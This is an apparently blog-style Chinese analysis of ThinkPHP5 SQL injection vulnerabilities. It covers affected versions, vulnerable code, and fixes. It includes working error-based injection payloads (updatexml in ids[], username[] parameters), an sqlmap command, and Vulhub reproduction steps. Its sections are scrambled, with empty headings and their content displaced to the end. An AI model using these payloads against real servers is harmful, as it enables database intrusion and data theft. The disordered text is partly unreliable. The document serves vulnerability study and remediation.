ThinkPHP5 的 SQL 注入漏洞(常被安全社区称为 ThinkPHP5 SQL5 注入漏洞)是 ThinkPHP5 框架中一系列因设计缺陷导致的安全问题,主要影响早期版本。
一、漏洞背景
ThinkPHP5 的 SQL 注入漏洞主要源于框架对用户输入数据的处理不当,尤其是在 数据库查询构造器 中未严格过滤用户可控参数。该漏洞影响以下版本:
攻击者可利用漏洞构造恶意 SQL 语句,绕过预编译机制,直接操作数据库,导致数据泄露、篡改甚至服务器沦陷。
二、漏洞核心原理
1. 查询构造器的参数解析缺陷
ThinkPHP5 的查询构造器(Query 类)在处理用户输入时,未对 数组键名 和 操作符 进行严格过滤。例如:
2. PDO 预处理机制的绕过
ThinkPHP5 默认使用 PDO 预编译 SQL 语句,但以下配置会导致预处理失效:
// 配置项:关闭模拟预处理(非默认)
'params' => [
PDO::ATTR_EMULATE_PREPARES => false,
]
当 PDO::ATTR_EMULATE_PREPARES 设置为 false 时,预编译过程会直接解析 SQL 语句中的动态内容,导致攻击者可通过报错注入(如 updatexml)在预编译阶段触发 SQL 执行。
三、典型攻击场景与利用方式
场景 1:insert 方法注入
场景 2:where 子句的 IN 操作符注入
场景 3:update 方法注入
四、漏洞利用条件
五、漏洞修复方案
1. 官方补丁升级
2. 代码层修复
3. 数据库安全加固
六、漏洞验证与测试
1. 本地复现环境
2. 自动化检测工具
七、总结
ThinkPHP5 的 SQL 注入漏洞暴露了框架在 数据过滤 和 预编译机制 上的设计缺陷。开发人员需注意:
运行环境:
docker-compose up -d
启动后,访问http://192.168.23.230/index.php?ids[]=1&ids[]=2,即可看到用户名被显示了出来,说明环境运行成功。
ThinkPHP5中多个SQL注入漏洞的源代码分析及触发原理,涵盖不同版本和场景的典型案例:
1. Builder::parseData方法注入(INSERT操作)
影响版本:5.0.13 ≤ ThinkPHP ≤ 5.0.15,5.1.0 ≤ ThinkPHP ≤ 5.1.5
漏洞代码:
// thinkphp/library/think/db/Builder.php |
触发条件:
2. Builder::parseArrayData方法注入(UPDATE操作)
影响版本:5.1.6 ≤ ThinkPHP ≤ 5.1.7
漏洞代码:
// thinkphp/library/think/db/Builder.php(已删除)
protected function parseArrayData($data, $fields) {
$result = [];
foreach ($data as $key => $val) {
$item = $this->parseKey($key);
if (is_array($val)) {
$result[] = $item . ' = ' . $val[0] . '(\'' . $val[1] . '\')'; // 直接拼接用户输入
}
}
return $result;
}
触发条件:
3. Builder::parseWhereItem方法注入(SELECT操作)
影响版本:全版本ThinkPHP5
漏洞代码:
// thinkphp/library/think/db/Builder.php
protected function parseWhereItem($field, $val) {
if ($val[1] === 'exp') {
return $field . ' ' . $val[0] . ' ' . $val[2]; // 直接拼接表达式
}
}
触发条件:
4. Query::select方法参数注入
影响版本:全版本ThinkPHP5
漏洞代码:
// thinkphp/library/think/db/Query.php
public function select($data = null) {
$options = $this->parseExpress();
$sql = $this->builder->select($options); // 依赖Builder的拼接逻辑
return $this->query($sql, $data);
}
触发条件:
修复方案
总结
ThinkPHP5的SQL注入漏洞多源于数据拼接时未严格过滤用户输入,涉及insert、update、select等核心方法。开发者应避免直接使用未经验证的外部参数,并升级至安全版本(如5.0.16+或5.1.8+)。如需完整代码示例或环境搭建步骤,可参考相关漏洞分析报告136。
1,首先验证漏洞存在
?ids[]=1&ids[]=2
?ids[0,updatexml(0,concat(0xa,user()),0)]=1
会被 PHP 解释为:
$_GET = [ |
也就是:$_GET['ids'] 是一个数组,key 为 '0,updatexml(0,concat(0xa,user()),0)'
ThinkPHP 参数解析逻辑
ThinkPHP5 支持将数组直接传入 where() 方法,如:
Db::name('user')->where($_GET['ids'])->select();
如果传入了:
[ |
框架内部在解析 key 时,会尝试将其拆分成 SQL 字段和表达式。ThinkPHP5 内部源码类似如下逻辑:
list($field, $exp) = explode(',', $key, 2);
$whereStr = "$field = $exp";
所以:
$field = "0"
$exp = "updatexml(0,concat(0xa,user()),0)"
最终生成 SQL:
WHERE 0 = updatexml(0,concat(0xa,user()),0)
这是一个报错注入语句,updatexml() 是 MySQL 中常见的报错函数,用于将数据输出到错误信息中。
实际执行效果
如果数据库用户具有查询权限,执行:
SELECT * FROM user WHERE 0 = updatexml(0,concat(0xa,user()),0)
将会触发 SQL 错误:
XPATH syntax error: '~root@localhost~'
攻击者就能从错误信息中读出当前数据库用户名。
在配置文件处成功得到数据库敏感信息
- 参数转义:在拼接前使用escapeString处理用户输入(如parseData修复中新增转义逻辑)1。
- 删除高危方法:官方删除parseArrayData方法以消除隐患38。
- 禁用调试模式:关闭app_debug和app_trace,避免泄露数据库信息46。
- 通过select方法直接拼接用户输入,例如ids[0,updatexml(0,concat(0xa,user()),0)]=1。
- 参数未过滤导致恶意语法注入至SQL语句24。
- 使用where方法的exp操作符,如where('username', 'exp', $_GET['username'])。
- 用户输入如) union select updatexml(1,concat(0x7,user(),0x7e),1)#直接拼接到WHERE条件中,绕过预编译567。
- 通过update方法传入数组参数,如username[0]=point&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)。
- parseArrayData未对$val[0]和$val[1]进行转义,导致恶意函数调用被注入38。
- 用户通过insert方法传入数组参数,如$username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)。
- parseData未对$val[1]进行过滤,导致恶意SQL片段直接拼接至语句中18。
- 及时更新框架版本,避免使用存在已知漏洞的旧版本。
- 对所有用户输入进行严格的类型和格式校验。
- 遵循最小权限原则,限制数据库账号权限
- 使用 SQLMap 检测漏洞:
sqlmap -u "http://target.com/index.php?ids=1" --batch --risk=3 - 使用 Docker 快速搭建漏洞环境(推荐 Vulhub):
git clone https://github.com/vulhub/vulhub.git
cd vulhub/thinkphp/5-in-sqlinjection
docker-compose up -d - 访问 http://localhost:8080?ids[0,updatexml(...)]=1 验证漏洞。
- 配置 PDO::ATTR_EMULATE_PREPARES = true,强制使用模拟预处理。
- 限制数据库账号权限,避免使用 root 账号。
- 输入过滤:对用户输入的数组键名和值进行白名单校验。
// 示例:过滤非预期操作符
$allowOperators = ['eq', 'neq', 'gt', 'egt'];
if (!in_array($operator, $allowOperators)) {
throw new Exception('Invalid operator');
} - 禁用危险配置:生产环境关闭调试模式:
app_debug = false
app_trace = false - 升级至 ThinkPHP 5.0.16+ 或 5.1.8+,官方修复了以下问题:
- 对 inc、dec、exp 操作符的输入进行严格过滤。
- 移除 parseArrayData 方法,避免数组参数解析漏洞。
- 补丁地址:ThinkPHP GitHub Releases
- 版本范围:需处于受影响版本内(如 5.0.0~5.0.15)。
- 调试模式开启:app_debug=true 和 app_trace=true,否则无法通过报错回显获取数据。
- 数据库类型:需使用 MySQL,且 PDO 配置允许直接执行动态 SQL。
- 漏洞触发点:Mysql::parseArrayData 方法。
- 攻击原理:利用 point 等特殊操作符构造闭合 SQL 语句。
// 示例代码
Db::name('user')->where('id', 1)->update(['username' => $_GET['username']]); - Payload 示例:
?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7e,user(),0x7e),1)^&username[3]=0
效果:通过位运算绕过过滤,触发报错注入。 - 漏洞触发点:Builder::parseWhereItem 方法。
- 攻击原理:通过控制 IN 操作的数组键名,插入恶意 SQL 片段。
// 示例代码
$ids = input('ids');
Db::name('user')->where('id', 'in', $ids)->select(); - Payload 示例:
?ids[0,updatexml(0,concat(0x7e,version()),0)]=1
效果:在预编译阶段触发报错,泄露数据库版本信息。 - 漏洞触发点:Builder::parseData 方法。
- 攻击原理:通过传递数组参数,利用 inc 或 exp 操作符注入恶意 SQL 代码。
// 示例代码
$user = new User();
$user->save([
'username' => ['inc', $_GET['payload']]
]); - Payload 示例:
?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1
效果:触发数据库报错,泄露当前用户信息(如 root@localhost)。 - 当使用 where('id', 'in', $ids) 时,若 $ids 是用户可控的数组参数,攻击者可通过构造键名插入恶意 SQL 片段。
- 在 insert 或 update 方法中,通过数组参数触发 inc、exp 等操作符的未过滤逻辑。
- 5.0.0 ≤ ThinkPHP ≤ 5.0.15
- 5.1.0 ≤ ThinkPHP ≤ 5.1.7
- 部分 5.x 分支版本